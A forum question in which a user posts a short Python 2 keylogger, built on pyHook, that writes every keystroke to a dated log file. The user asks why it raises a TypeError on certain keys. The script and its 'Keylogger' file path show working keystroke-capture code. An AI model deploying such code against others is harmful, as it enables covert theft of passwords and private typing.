I wrote a script:
import pythoncom, pyHook
import time
from time import strftime,localtime
def OKBE(event):
log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
f=open(str(log),"a")
if(str(event.Ascii)=="8"):
f.write("<--")
print("<--")
elif(str(event.Ascii)=="13"):
f.write("\nENTER "+str(time.strftime("%H,%M",localtime()))+"\n")
print("\nENTER\n")
elif(str(event.Ascii)=="32"):
f.write(" ")
else:
f.write(chr(event.Ascii))
print(str(event.Ascii))
print(chr(event.Ascii))
manager = pyHook.HookManager()
manager.KeyDown = OKBE
manager.HookKeyboard()
pythoncom.PumpMessages()
but any time the event is a or p and some other letters i get this error:
Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Users\Miran\Desktop\Pythonprojekt\Keylogger\keylogger.pyw", line 10, in OKBE
log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
TypeError: an integer is required
Anyone knows why?